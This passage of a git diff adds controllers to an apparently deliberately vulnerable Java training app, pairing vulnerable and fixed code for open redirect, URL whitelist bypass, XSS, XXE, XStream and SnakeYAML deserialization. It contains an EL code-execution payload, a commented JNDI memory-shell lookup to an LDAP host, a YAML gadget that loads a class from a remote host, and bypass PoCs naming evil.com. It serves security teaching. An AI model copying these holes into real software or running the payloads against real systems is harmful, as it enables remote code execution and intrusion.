response.addCookie(cookie); + return "success"; + } + + + @RequestMapping(value = "/aa") + public void test(HttpServletResponse response, String empId) { + + System.out.println(empId); + Cookie cookie = new Cookie("XSRF-TOKEN", "123"); + cookie.setDomain("taobao.com"); + cookie.setMaxAge(-1); // forever time + response.addCookie(cookie); + } + + public static void main(String[] args) throws NamingException { + +// javax.script.ScriptEngineManager scriptEngineManager = (ScriptEngineManager) "".getClass().forName("javax.script.ScriptEngineManager").newInstance(); +// String scriptPayload2= "s=[3];s[0]='cmd';s[1]='/c';s[2]='calc';java.lang.Runtime.getRuntime().exec(s);"; +// scriptEngineManager.getEngineByName("nashorn").eval(scriptPayload2); +// String test="var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec('calc')};"; +// ScriptEngineManager manager = new ScriptEngineManager(null); +// ScriptEngine engine = manager.getEngineByName("js"); +// engine.eval(test); + + ELProcessor elProcessor = new ELProcessor(); + String elPayload = "''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval('java.lang.Runtime.getRuntime().exec(\"calc\");')"; + String elPayload2= "''.getClass().forName('jdk.jshell.JShell').getMethod('create').invoke(null).eval('java.lang.Runtime.getRuntime().exec(\"calc\")')"; + elProcessor.eval(elPayload2); + // String clientInfo = "rdp-sys:1"; +// String secret = Base64.encode(clientInfo.getBytes(StandardCharsets.UTF_8)); +// String header = String.format("%s %s", "X-ZJMZXFZHL-INNER-APP ", secret); +// System.out.println(header); + +// new org.springframework.jndi.JndiLocatorDelegate().lookup("ldap://a.b.c.d:1389/TomcatBypass/SpringMemshell"); + } + +// public static void testMemShell(){ +// Class clazz = SpringMemshellTemplate.class; +// String classCode = null; +// try { +// classCode = ClassUtil.getClassCode(clazz); +// } catch (Exception e) { +// e.printStackTrace(); +// } +// ; +// byte[] bytes = org.apache.tomcat.util.codec.binary.Base64.decodeBase64(classCode); +// ClassLoader classLoader = java.lang.Thread.currentThread().getContextClassLoader(); +// try{ +// clazz = classLoader.loadClass(clazz.getName()); +// clazz.newInstance(); +// }catch(Exception e) { +// try { +// Method method = ClassLoader.class.getDeclaredMethod("defineClass", "".getBytes().getClass(), Integer.TYPE, Integer.TYPE); +// method.setAccessible(true); +// Class clazz2 = (Class) method.invoke(classLoader, bytes, 0, bytes.length); +// clazz2.newInstance(); +// } catch (NoSuchMethodException ex) { +// ex.printStackTrace(); +// } catch (InvocationTargetException invocationTargetException) { +// invocationTargetException.printStackTrace(); +// } catch (IllegalAccessException illegalAccessException) { +// illegalAccessException.printStackTrace(); +// } catch (InstantiationException instantiationException) { +// instantiationException.printStackTrace(); +// } +// +// e.printStackTrace(); +// } +// } +} diff --git a/src/main/java/org/joychou/controller/URLRedirect.java b/src/main/java/org/joychou/controller/URLRedirect.java new file mode 100644 index 00000000..2b96322e --- /dev/null +++ b/src/main/java/org/joychou/controller/URLRedirect.java @@ -0,0 +1,93 @@ +package org.joychou.controller; + +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; + +import javax.servlet.RequestDispatcher; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + +import org.joychou.security.SecurityUtil; + +/** + * The vulnerability code and security code of Java url redirect. + * The security code is checking whitelist of url redirect. + * + * @author JoyChou (joychou@joychou.org) + * @version 2017.12.28 + */ + +@Controller +@RequestMapping("/urlRedirect") +public class URLRedirect { + + /** + * http://localhost:8080/urlRedirect/redirect?url=http://www.baidu.com + */ + @GetMapping("/redirect") + public String redirect(@RequestParam("url") String url) { + return "redirect:" + url; + } + + + /** + * http://localhost:8080/urlRedirect/setHeader?url=http://www.baidu.com + */ + @RequestMapping("/setHeader") + @ResponseBody + public static void setHeader(HttpServletRequest request, HttpServletResponse response) { + String url = request.getParameter("url"); + response.setStatus(HttpServletResponse.SC_MOVED_PERMANENTLY); // 301 redirect + response.setHeader("Location", url); + } + + + /** + * http://localhost:8080/urlRedirect/sendRedirect?url=http://www.baidu.com + */ + @RequestMapping("/sendRedirect") + @ResponseBody + public static void sendRedirect(HttpServletRequest request, HttpServletResponse response) throws IOException { + String url = request.getParameter("url"); + response.sendRedirect(url); // 302 redirect + } + + + /** + * Safe code. Because it can only jump according to the path, it cannot jump according to other urls. + * http://localhost:8080/urlRedirect/forward?url=/urlRedirect/test + */ + @RequestMapping("/forward") + @ResponseBody + public static void forward(HttpServletRequest request, HttpServletResponse response) { + String url = request.getParameter("url"); + RequestDispatcher rd = request.getRequestDispatcher(url); + try { + rd.forward(request, response); + } catch (Exception e) { + e.printStackTrace(); + } + } + + + /** + * Safe code of sendRedirect. + * http://localhost:8080/urlRedirect/sendRedirect/sec?url=http://www.baidu.com + */ + @RequestMapping("/sendRedirect/sec") + @ResponseBody + public void sendRedirect_seccode(HttpServletRequest request, HttpServletResponse response) + throws IOException { + String url = request.getParameter("url"); + if (SecurityUtil.checkURL(url) == null) { + response.setStatus(HttpServletResponse.SC_FORBIDDEN); + response.getWriter().write("url forbidden"); + return; + } + response.sendRedirect(url); + } +} diff --git a/src/main/java/org/joychou/controller/URLWhiteList.java b/src/main/java/org/joychou/controller/URLWhiteList.java new file mode 100644 index 00000000..35d37576 --- /dev/null +++ b/src/main/java/org/joychou/controller/URLWhiteList.java @@ -0,0 +1,170 @@ +package org.joychou.controller; + + +import org.joychou.security.SecurityUtil; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.web.bind.annotation.*; + +import java.net.MalformedURLException; +import java.net.URL; +import java.util.ArrayList; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +/** + * The vulnerability code and security code of Java url whitelist. + * The security code is checking url whitelist. + * + * @author JoyChou (joychou@joychou.org) + * @version 2018.08.23 + */ + +@RestController +@RequestMapping("/url") +public class URLWhiteList { + + + private String domainwhitelist[] = {"joychou.org", "joychou.com"}; + private static final Logger logger = LoggerFactory.getLogger(URLWhiteList.class); + + /** + * bypass poc: bypassjoychou.org + * http://localhost:8080/url/vuln/endswith?url=http://aaajoychou.org + */ + @GetMapping("/vuln/endsWith") + public String endsWith(@RequestParam("url") String url) { + + String host = SecurityUtil.gethost(url); + + for (String domain : domainwhitelist) { + if (host.endsWith(domain)) { + return "Good url."; + } + } + return "Bad url."; + } + + + /** + * It's the same with indexOf. + *

+ * http://localhost:8080/url/vuln/contains?url=http://joychou.org.bypass.com + * http://localhost:8080/url/vuln/contains?url=http://bypassjoychou.org + */ + @GetMapping("/vuln/contains") + public String contains(@RequestParam("url") String url) { + + String host = SecurityUtil.gethost(url); + + for (String domain : domainwhitelist) { + if (host.contains(domain)) { + return "Good url."; + } + } + return "Bad url."; + } + + + /** + * bypass poc: bypassjoychou.org. It's the same with endsWith. + * http://localhost:8080/url/vuln/regex?url=http://aaajoychou.org + */ + @GetMapping("/vuln/regex") + public String regex(@RequestParam("url") String url) { + + String host = SecurityUtil.gethost(url); + Pattern p = Pattern.compile("joychou\\.org$"); + Matcher m = p.matcher(host); + + if (m.find()) { + return "Good url."; + } else { + return "Bad url."; + } + } + + + /** + * The bypass of using java.net.URL to getHost. + *

+ * Bypass poc1: curl -v 'http://localhost:8080/url/vuln/url_bypass?url=http://evel.com%5c@www.joychou.org/a.html' + * Bypass poc2: curl -v 'http://localhost:8080/url/vuln/url_bypass?url=http://evil.com%5cwww.joychou.org/a.html' + *

+ * More details: https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass + */ + @GetMapping("/vuln/url_bypass") + public String url_bypass(String url) throws MalformedURLException { + + logger.info("url: " + url); + + if (!SecurityUtil.isHttp(url)) { + return "Url is not http or https"; + } + + URL u = new URL(url); + String host = u.getHost(); + logger.info("host: " + host); + + // endsWith . + for (String domain : domainwhitelist) { + if (host.endsWith("." + domain)) { + return "Good url."; + } + } + + return "Bad url."; + } + + + /** + * First-level & Multi-level host whitelist. + * http://localhost:8080/url/sec?url=http://aa.joychou.org + */ + @GetMapping("/sec") + public String sec(@RequestParam("url") String url) { + + String whiteDomainlists[] = {"joychou.org", "joychou.com", "test.joychou.me"}; + + if (!SecurityUtil.isHttp(url)) { + return "SecurityUtil is not http or https"; + } + + String host = SecurityUtil.gethost(url); + + for (String whiteHost: whiteDomainlists){ + if (whiteHost.startsWith(".") && host.endsWith(whiteHost)) { + return url; + } else if (!whiteHost.startsWith(".") && host.equals(whiteHost)) { + return url; + } + } + + return "Bad url."; + } + + + /** + * http://localhost:8080/url/sec/array_indexOf?url=http://ccc.bbb.joychou.org + */ + @GetMapping("/sec/array_indexOf") + public String sec_array_indexOf(@RequestParam("url") String url) { + + // Define muti-level host whitelist. + ArrayList whiteDomainlists = new ArrayList<>(); + whiteDomainlists.add("bbb.joychou.org"); + whiteDomainlists.add("ccc.bbb.joychou.org"); + + if (!SecurityUtil.isHttp(url)) { + return "SecurityUtil is not http or https"; + } + + String host = SecurityUtil.gethost(url); + + if (whiteDomainlists.indexOf(host) != -1) { + return "Good url."; + } + return "Bad url."; + } + +} diff --git a/src/main/java/org/joychou/controller/XSS.java b/src/main/java/org/joychou/controller/XSS.java new file mode 100644 index 00000000..1c4b8732 --- /dev/null +++ b/src/main/java/org/joychou/controller/XSS.java @@ -0,0 +1,80 @@ +package org.joychou.controller; + +import org.apache.commons.lang.StringUtils; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.CookieValue; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; + +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletResponse; + + +/** + * @author JoyChou @2018-01-02 + */ +@Controller +@RequestMapping("/xss") +public class XSS { + + /** + * Vuln Code. + * ReflectXSS + * http://localhost:8080/xss/reflect?xss= + * + * @param xss unescape string + */ + @RequestMapping("/reflect") + @ResponseBody + public static String reflect(String xss) { + return xss; + } + + /** + * Vul Code. + * StoredXSS Step1 + * http://localhost:8080/xss/stored/store?xss= + * + * @param xss unescape string + */ + @RequestMapping("/stored/store") + @ResponseBody + public String store(String xss, HttpServletResponse response) { + Cookie cookie = new Cookie("xss", xss); + response.addCookie(cookie); + return "Set param into cookie"; + } + + /** + * Vul Code. + * StoredXSS Step2 + * http://localhost:8080/xss/stored/show + * + * @param xss unescape string + */ + @RequestMapping("/stored/show") + @ResponseBody + public String show(@CookieValue("xss") String xss) { + return xss; + } + + /** + * safe Code. + * http://localhost:8080/xss/safe + */ + @RequestMapping("/safe") + @ResponseBody + public static String safe(String xss) { + return encode(xss); + } + + private static String encode(String origin) { + origin = StringUtils.replace(origin, "&", "&"); + origin = StringUtils.replace(origin, "<", "<"); + origin = StringUtils.replace(origin, ">", ">"); + origin = StringUtils.replace(origin, "\"", """); + origin = StringUtils.replace(origin, "'", "'"); + origin = StringUtils.replace(origin, "/", "/"); + return origin; + } +} diff --git a/src/main/java/org/joychou/controller/XStreamRce.java b/src/main/java/org/joychou/controller/XStreamRce.java new file mode 100644 index 00000000..62616e95 --- /dev/null +++ b/src/main/java/org/joychou/controller/XStreamRce.java @@ -0,0 +1,43 @@ +package org.joychou.controller; + +import com.thoughtworks.xstream.XStream; +import com.thoughtworks.xstream.io.xml.DomDriver; +import org.joychou.dao.User; +import org.joychou.util.WebUtils; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.servlet.http.HttpServletRequest; + + +@RestController +public class XStreamRce { + + /** + * Fix method: update xstream to 1.4.11 + * Xstream affected version: 1.4.10 or <= 1.4.6 + * Set Content-Type: application/xml + * + * @author JoyChou @2019-07-26 + */ + @PostMapping("/xstream") + public String parseXml(HttpServletRequest request) throws Exception { + String xml = WebUtils.getRequestBody(request); + XStream xstream = new XStream(new DomDriver()); + xstream.fromXML(xml); + return "xstream"; + } + + public static void main(String[] args) { + User user = new User(); + user.setId(0); + user.setUsername("admin"); + + XStream xstream = new XStream(new DomDriver()); + String xml = xstream.toXML(user); // Serialize + System.out.println(xml); + + user = (User) xstream.fromXML(xml); // Deserialize + System.out.println(user.getId() + ": " + user.getUsername()); + } +} diff --git a/src/main/java/org/joychou/controller/XXE.java b/src/main/java/org/joychou/controller/XXE.java new file mode 100644 index 00000000..931a5688 --- /dev/null +++ b/src/main/java/org/joychou/controller/XXE.java @@ -0,0 +1,452 @@ +package org.joychou.controller; + +import org.dom4j.DocumentHelper; +import org.dom4j.io.SAXReader; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.web.bind.annotation.*; + +import javax.servlet.http.HttpServletRequest; + +import org.w3c.dom.Document; +import org.w3c.dom.Node; +import org.w3c.dom.NodeList; +import org.xml.sax.helpers.XMLReaderFactory; +import org.xml.sax.XMLReader; + +import java.io.*; + +import org.xml.sax.InputSource; + +import javax.xml.parsers.DocumentBuilder; +import javax.xml.parsers.DocumentBuilderFactory; +import javax.xml.parsers.SAXParserFactory; +import javax.xml.parsers.SAXParser; + +import org.xml.sax.helpers.DefaultHandler; +import org.apache.commons.digester3.Digester; +import org.jdom2.input.SAXBuilder; +import org.joychou.util.WebUtils; + +/** + * Java xxe vuln and security code. + * + * @author JoyChou @2017-12-22 + */ + +@RestController +@RequestMapping("/xxe") +public class XXE { + + private static Logger logger = LoggerFactory.getLogger(XXE.class); + private static String EXCEPT = "xxe except"; + + @PostMapping("/xmlReader/vuln") + public String xmlReaderVuln(HttpServletRequest request) { + try { + String body = WebUtils.getRequestBody(request); + logger.info(body); + XMLReader xmlReader = XMLReaderFactory.createXMLReader(); + xmlReader.parse(new InputSource(new StringReader(body))); // parse xml + return "xmlReader xxe vuln code"; + } catch (Exception e) { + logger.error(e.toString()); + return EXCEPT; + } + } + + + @RequestMapping(value = "/xmlReader/sec", method = RequestMethod.POST) + public String xmlReaderSec(HttpServletRequest request) { + try { + String body = WebUtils.getRequestBody(request); + logger.info(body); + + XMLReader xmlReader = XMLReaderFactory.createXMLReader(); + // fix code start + xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); + xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false); + xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false); + //fix code end + xmlReader.parse(new InputSource(new StringReader(body))); // parse xml + + } catch (Exception e) { + logger.error(e.toString()); + return EXCEPT; + } + + return "xmlReader xxe security code"; + } + + + @RequestMapping(value = "/SAXBuilder/vuln", method = RequestMethod.POST) + public String SAXBuilderVuln(HttpServletRequest request) { + try { + String body = WebUtils.getRequestBody(request); + logger.info(body); + + SAXBuilder builder = new SAXBuilder(); + // org.jdom2.Document document + builder.build(new InputSource(new StringReader(body))); // cause xxe + return "SAXBuilder xxe vuln code"; + } catch (Exception e) { + logger.error(e.toString()); + return EXCEPT; + } + } + + @RequestMapping(value = "/SAXBuilder/sec", method = RequestMethod.POST) + public String SAXBuilderSec(HttpServletRequest request) { + try { + String body = WebUtils.getRequestBody(request); + logger.info(body); + + SAXBuilder builder = new SAXBuilder(); + builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); + builder.setFeature("http://xml.org/sax/features/external-general-entities", false); + builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false); + // org.jdom2.Document document + builder.build(new InputSource(new StringReader(body))); + + } catch (Exception e) { + logger.error(e.toString()); + return EXCEPT; + } + + return "SAXBuilder xxe security code"; + } + + @RequestMapping(value = "/SAXReader/vuln", method = RequestMethod.POST) + public String SAXReaderVuln(HttpServletRequest request) { + try { + String body = WebUtils.getRequestBody(request); + logger.info(body); + + SAXReader reader = new SAXReader(); + // org.dom4j.Document document + reader.read(new InputSource(new StringReader(body))); // cause xxe + + } catch (Exception e) { + logger.error(e.toString()); + return EXCEPT; + } + + return "SAXReader xxe vuln code"; + } + + @RequestMapping(value = "/SAXReader/sec", method = RequestMethod.POST) + public String SAXReaderSec(HttpServletRequest request) { + try { + String body = WebUtils.getRequestBody(request); + logger.info(body); + + SAXReader reader = new SAXReader(); + reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); + reader.setFeature("http://xml.org/sax/features/external-general-entities", false); + reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false); + // org.dom4j.Document document + reader.read(new InputSource(new StringReader(body))); + } catch (Exception e) { + logger.error(e.toString()); + return EXCEPT; + } + return "SAXReader xxe security code"; + } + + @RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST) + public String SAXParserVuln(HttpServletRequest request) { + try { + String body = WebUtils.getRequestBody(request); + logger.info(body); + + SAXParserFactory spf = SAXParserFactory.newInstance(); + SAXParser parser = spf.newSAXParser(); + parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml + + return "SAXParser xxe vuln code"; + } catch (Exception e) { + logger.error(e.toString()); + return EXCEPT; + } + } + + + @RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST) + public String SAXParserSec(HttpServletRequest request) { + try { + String body = WebUtils.getRequestBody(request); + logger.info(body); + + SAXParserFactory spf = SAXParserFactory.newInstance(); + spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); + spf.setFeature("http://xml.org/sax/features/external-general-entities", false); + spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); + SAXParser parser = spf.newSAXParser(); + parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml + } catch (Exception e) { + logger.error(e.toString()); + return EXCEPT; + } + return "SAXParser xxe security code"; + } + + + @RequestMapping(value = "/Digester/vuln", method = RequestMethod.POST) + public String DigesterVuln(HttpServletRequest request) { + try { + String body = WebUtils.getRequestBody(request); + logger.info(body); + + Digester digester = new Digester(); + digester.parse(new StringReader(body)); // parse xml + } catch (Exception e) { + logger.error(e.toString()); + return EXCEPT; + } + return "Digester xxe vuln code"; + } + + @RequestMapping(value = "/Digester/sec", method = RequestMethod.POST) + public String DigesterSec(HttpServletRequest request) { + try { + String body = WebUtils.getRequestBody(request); + logger.info(body); + + Digester digester = new Digester(); + digester.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); + digester.setFeature("http://xml.org/sax/features/external-general-entities", false); + digester.setFeature("http://xml.org/sax/features/external-parameter-entities", false); + digester.parse(new StringReader(body)); // parse xml + + return "Digester xxe security code"; + } catch (Exception e) { + logger.error(e.toString()); + return EXCEPT; + } + } + + + // 有回显 + @RequestMapping(value = "/DocumentBuilder/vuln01", method = RequestMethod.POST) + public String DocumentBuilderVuln01(HttpServletRequest request) { + try { + String body = WebUtils.getRequestBody(request); + logger.info(body); + DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); + DocumentBuilder db = dbf.newDocumentBuilder(); + StringReader sr = new StringReader(body); + InputSource is = new InputSource(sr); + Document document = db.parse(is); // parse xml + + // 遍历xml节点name和value + StringBuilder buf = new StringBuilder(); + NodeList rootNodeList = document.getChildNodes(); + for (int i = 0; i < rootNodeList.getLength(); i++) { + Node rootNode = rootNodeList.item(i); + NodeList child = rootNode.getChildNodes(); + for (int j = 0; j < child.getLength(); j++) { + Node node = child.item(j); + buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent())); + } + } + sr.close(); + return buf.toString(); + } catch (Exception e) { + logger.error(e.toString()); + return EXCEPT; + } + } + + + // 有回显 + @RequestMapping(value = "/DocumentBuilder/vuln02", method = RequestMethod.POST) + public String DocumentBuilderVuln02(HttpServletRequest request) { + try { + String body = WebUtils.getRequestBody(request); + logger.info(body); + + DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); + DocumentBuilder db = dbf.newDocumentBuilder(); + StringReader sr = new StringReader(body); + InputSource is = new InputSource(sr); + Document document = db.parse(is); // parse xml + + // 遍历xml节点name和value + StringBuilder result = new StringBuilder(); + NodeList rootNodeList = document.getChildNodes(); + for (int i = 0; i < rootNodeList.getLength(); i++) { + Node rootNode = rootNodeList.item(i); + NodeList child = rootNode.getChildNodes(); + for (int j = 0; j < child.getLength(); j++) { + Node node = child.item(j); + // 正常解析XML,需要判断是否是ELEMENT_NODE类型。否则会出现多余的的节点。 + if (child.item(j).getNodeType() == Node.ELEMENT_NODE) { + result.append(String.format("%s: %s\n", node.getNodeName(), node.getFirstChild())); + } + } + } + sr.close(); + return result.toString(); + } catch (Exception e) { + logger.error(e.toString()); + return EXCEPT; + } + } + + + @RequestMapping(value = "/DocumentBuilder/Sec", method = RequestMethod.POST) + public String DocumentBuilderSec(HttpServletRequest request) { + try { + String body = WebUtils.getRequestBody(request); + logger.info(body); + + DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); + dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); + dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); + dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); + DocumentBuilder db = dbf.newDocumentBuilder(); + StringReader sr = new StringReader(body); + InputSource is = new InputSource(sr); + db.parse(is); // parse xml + sr.close(); + } catch (Exception e) { + logger.error(e.toString()); + return EXCEPT; + } + return "DocumentBuilder xxe security code"; + } + + + @RequestMapping(value = "/DocumentBuilder/xinclude/vuln", method = RequestMethod.POST) + public String DocumentBuilderXincludeVuln(HttpServletRequest request) { + try { + String body = WebUtils.getRequestBody(request); + logger.info(body); + + DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); + dbf.setXIncludeAware(true); // 支持XInclude + dbf.setNamespaceAware(true); // 支持XInclude + DocumentBuilder db = dbf.newDocumentBuilder(); + StringReader sr = new StringReader(body); + InputSource is = new InputSource(sr); + Document document = db.parse(is); // parse xml + + NodeList rootNodeList = document.getChildNodes(); + response(rootNodeList); + + sr.close(); + return "DocumentBuilder xinclude xxe vuln code"; + } catch (Exception e) { + logger.error(e.toString()); + return EXCEPT; + } + } + + + @RequestMapping(value = "/DocumentBuilder/xinclude/sec", method = RequestMethod.POST) + public String DocumentBuilderXincludeSec(HttpServletRequest request) { + try { + String body = WebUtils.getRequestBody(request); + logger.info(body); + DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); + + dbf.setXIncludeAware(true); // 支持XInclude + dbf.setNamespaceAware(true); // 支持XInclude + dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); + dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); + dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); + + DocumentBuilder db = dbf.newDocumentBuilder(); + StringReader sr = new StringReader(body); + InputSource is = new InputSource(sr); + Document document = db.parse(is); // parse xml + + NodeList rootNodeList = document.getChildNodes(); + response(rootNodeList); + + sr.close(); + } catch (Exception e) { + logger.error(e.toString()); + return EXCEPT; + } + return "DocumentBuilder xinclude xxe vuln code"; + } + + + @PostMapping("/XMLReader/vuln") + public String XMLReaderVuln(HttpServletRequest request) { + try { + String body = WebUtils.getRequestBody(request); + logger.info(body); + + SAXParserFactory spf = SAXParserFactory.newInstance(); + SAXParser saxParser = spf.newSAXParser(); + XMLReader xmlReader = saxParser.getXMLReader(); + xmlReader.parse(new InputSource(new StringReader(body))); + + } catch (Exception e) { + logger.error(e.toString()); + return EXCEPT; + } + + return "XMLReader xxe vuln code"; + } + + + @PostMapping("/XMLReader/sec") + public String XMLReaderSec(HttpServletRequest request) { + try { + String body = WebUtils.getRequestBody(request); + logger.info(body); + + SAXParserFactory spf = SAXParserFactory.newInstance(); + SAXParser saxParser = spf.newSAXParser(); + XMLReader xmlReader = saxParser.getXMLReader(); + xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); + xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false); + xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false); + xmlReader.parse(new InputSource(new StringReader(body))); + + } catch (Exception e) { + logger.error(e.toString()); + return EXCEPT; + } + return "XMLReader xxe security code"; + } + + + /** + * 修复该漏洞只需升级dom4j到2.1.1及以上,该版本及以上禁用了ENTITY; + * 不带ENTITY的PoC不能利用,所以禁用ENTITY即可完成修复。 + */ + @PostMapping("/DocumentHelper/vuln") + public String DocumentHelper(HttpServletRequest req) { + try { + String body = WebUtils.getRequestBody(req); + DocumentHelper.parseText(body); // parse xml + } catch (Exception e) { + logger.error(e.toString()); + return EXCEPT; + } + + return "DocumentHelper xxe vuln code"; + } + + + private static void response(NodeList rootNodeList){ + for (int i = 0; i < rootNodeList.getLength(); i++) { + Node rootNode = rootNodeList.item(i); + NodeList xxe = rootNode.getChildNodes(); + for (int j = 0; j < xxe.getLength(); j++) { + Node xxeNode = xxe.item(j); + // 测试不能blind xxe,所以强行加了一个回显 + logger.info("xxeNode: " + xxeNode.getNodeValue()); + } + + } + } + + public static void main(String[] args) { + } + +} \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/Yaml.java b/src/main/java/org/joychou/controller/Yaml.java new file mode 100644 index 00000000..63a54960 --- /dev/null +++ b/src/main/java/org/joychou/controller/Yaml.java @@ -0,0 +1,23 @@ +package org.joychou.controller; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.naming.InitialContext; +import javax.naming.NamingException; + + +@RestController +public class Yaml { + + /* + org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ['http://kd1t2zb5jo3umbxlxxrfgpswenkj88.burpcollaborator.net/Yaml']]]]') + */ + @GetMapping("/yaml") + public String yaml(String content) { + return new org.yaml.snakeyaml.Yaml().load(content); + } + + public static void main(String[] args) { + } +} diff --git a/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java b/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java new file mode 100644 index 00000000..3000d558 --- /dev/null +++ b/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java @@ -0,0 +1,75 @@ +package org.joychou.controller.othervulns; + +import org.apache.poi.xssf.usermodel.XSSFCell; +import org.apache.poi.xssf.usermodel.XSSFRow; +import org.apache.poi.xssf.usermodel.XSSFSheet; +import org.apache.poi.xssf.usermodel.XSSFWorkbook; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.multipart.MultipartFile; + +import java.io.IOException; +import java.util.Iterator; + + +/** + * Desc: poi-ooxml xxe vuln code + * Usage: [Content_Type].xml http://localhost:8080/ooxml/upload + * Ref: https://www.itread01.com/hkpcyyp.html + * Fix: Update poi-ooxml to 3.15 or above. + * Vuln: 3.10 or below exist xxe vuln. 3.14 or below exist dos vuln. So 3.15 or above is safe version. + * + * @author JoyChou @2019-09-05 + */ +@Controller +@RequestMapping("ooxml") +public class ooxmlXXE { + + + private final Logger logger = LoggerFactory.getLogger(this.getClass()); + + + @GetMapping("/upload") + public String index() { + return "xxe_upload"; // return xxe_upload.html page + } + + + @PostMapping("/readxlsx") + @ResponseBody + public String ooxml_xxe(MultipartFile file) throws IOException { + XSSFWorkbook wb = new XSSFWorkbook(file.getInputStream()); // xxe vuln + + XSSFSheet sheet = wb.getSheetAt(0); + XSSFRow row; + XSSFCell cell; + + Iterator rows = sheet.rowIterator(); + StringBuilder sbResult = new StringBuilder(); + + while (rows.hasNext()) { + + row = (XSSFRow) rows.next(); + Iterator cells = row.cellIterator(); + + while (cells.hasNext()) { + cell = (XSSFCell) cells.next(); + + if (cell.getCellType() == XSSFCell.CELL_TYPE_STRING) { + sbResult.append(cell.getStringCellValue()).append(" "); + } else if (cell.getCellType() == XSSFCell.CELL_TYPE_NUMERIC) { + sbResult.append(cell.getNumericCellValue()).append(" "); + } else { + logger.info("errors"); + } + } + } + + return sbResult.toString(); + } +} diff --git a/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java b/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java new file mode 100644 index 00000000..ec054ffd --- /dev/null +++ b/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java @@ -0,0 +1,44 @@ +package org.joychou.controller.othervulns; + +import com.monitorjbl.xlsx.StreamingReader; +import org.apache.poi.ss.usermodel.Workbook; + +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.multipart.MultipartFile; + +import java.io.FileInputStream; +import java.io.IOException; + + +/** + * Desc: xlsx-streamer xxe vuln code + * Usage: xl/workbook.xml + * Ref: https://www.itread01.com/hkpcyyp.html + * Fix: update xlsx-streamer to 2.1.0 or above + * + * @author JoyChou @2019-09-05 + */ +@Controller +@RequestMapping("xlsx-streamer") +public class xlsxStreamerXXE { + + + @GetMapping("/upload") + public String index() { + return "xxe_upload"; // return xxe_upload.html page + } + + + @PostMapping("/readxlsx") + public void xllx_streamer_xxe(MultipartFile file) throws IOException { + StreamingReader.builder().open(file.getInputStream()); + } + + + public static void main(String[] args) throws Exception { + StreamingReader.builder().open((new FileInputStream("poc.xlsx"))); + } +} diff --git a/src/main/java/org/joychou/dao/User.java b/src/main/java/org/joychou/dao/User.java new file mode 100644 index 00000000..1336f571 --- /dev/null +++ b/src/main/java/org/joychou/dao/User.java @@ -0,0 +1,32 @@ +package org.joychou.dao; + +import java.io.Serializable; + +public class User implements Serializable { + private static final long serialVersionUID = 1L; + private Integer id; + private String username; + private String password; + + public Integer getId() { + return id; + } + public void setId(Integer id) { + this.id = id; + } + + public String getUsername() { + return username; + } + public void setUsername(String username) { + this.username = username; + } + + public String getPassword() { + return password; + } + public void setPassword(String password) { + this.password = password; + } + +} diff --git a/src/main/java/org/joychou/filter/BaseCorsFilter.java 